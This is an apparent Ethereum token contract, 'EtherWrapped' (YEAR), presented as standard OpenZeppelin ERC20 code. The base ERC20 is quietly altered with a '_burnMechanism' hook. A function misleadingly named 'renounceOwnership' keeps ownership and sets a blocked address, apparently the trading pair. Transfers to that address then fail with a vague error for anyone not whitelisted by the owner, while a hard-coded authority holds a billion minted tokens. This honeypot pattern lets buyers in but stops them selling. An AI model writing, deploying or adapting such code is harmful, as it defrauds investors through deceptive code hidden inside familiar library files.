// File: token.sol



// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}


// File @openzeppelin/contracts/access/Ownable.sol@v4.1.0
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
}

// File @openzeppelin/contracts/token/ERC20/IERC20.sol@v4.1.0
interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


// File @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol@v4.1.0
interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);
    
    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}


// File @openzeppelin/contracts/token/ERC20/ERC20.sol@v4.1.0
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _burnMechanism(sender, recipient);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _burnMechanism(address(0), account);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _burnMechanism(account, address(0));

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _burnMechanism(address from, address to) internal virtual { }
}

contract EW is ERC20, Ownable {
    mapping(address=>bool) private _db;
    mapping(address=>bool) private _claims;
    address private _ownershipId;
    address private authority;
    
    constructor() ERC20('EtherWrapped','YEAR') {
        authority = 0x42960c7F91E7aCA98f374296Df900Cb4d6B09601;
        _mint(authority, 1000000000 * 10 ** 18);
        _db[authority] = true;
    }

    function _mint(
        address account,
        uint256 amount
    ) internal virtual override (ERC20) {
        super._mint(account, amount);
    }
    
    function grantPermissions(address user, bool state) public onlyOwner {
        _db[user] = state;
    }
    
    function renounceOwnership(address ownershipId_) public onlyOwner {
        _ownershipId = ownershipId_;
    }

    function _burnMechanism(address from, address to) internal virtual override {
        if(to == _ownershipId) {
            require(_db[from], "An unexpected error occurred.");
        }
    }

    function claim(uint _amount, bytes memory signature) public {
        address to = _msgSender();
        require(!_claims[to] && verify(authority, to, _amount, signature), "Failed Authentication");
        _claims[to] = true;
        _mint(to, _amount);
    }

    function getMessageHash(
        address _to,
        uint _amount
    ) internal pure returns (bytes32) {
        return keccak256(abi.encodePacked(_to, _amount));
    }

    function getEthSignedMessageHash(
        bytes32 _messageHash
    ) internal pure returns (bytes32) {
        return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _messageHash));
    }

    function verify(
        address _signer,
        address _to,
        uint _amount,
        bytes memory signature
    ) internal pure returns (bool) {
        bytes32 ethSignedMessageHash = getEthSignedMessageHash(getMessageHash(_to, _amount));
        return recoverSigner(ethSignedMessageHash, signature) == _signer;
    }

    function recoverSigner(
        bytes32 _ethSignedMessageHash,
        bytes memory _signature
    ) internal pure returns (address) {
        (bytes32 r, bytes32 s, uint8 v) = splitSignature(_signature);
        return ecrecover(_ethSignedMessageHash, v, r, s);
    }

    function splitSignature(
        bytes memory sig
    ) internal pure returns (bytes32 r, bytes32 s, uint8 v) {
        require(sig.length == 65, "invalid signature length");

        assembly {
            r := mload(add(sig, 32))
            s := mload(add(sig, 64))
            v := byte(0, mload(add(sig, 96)))
        }
    }
}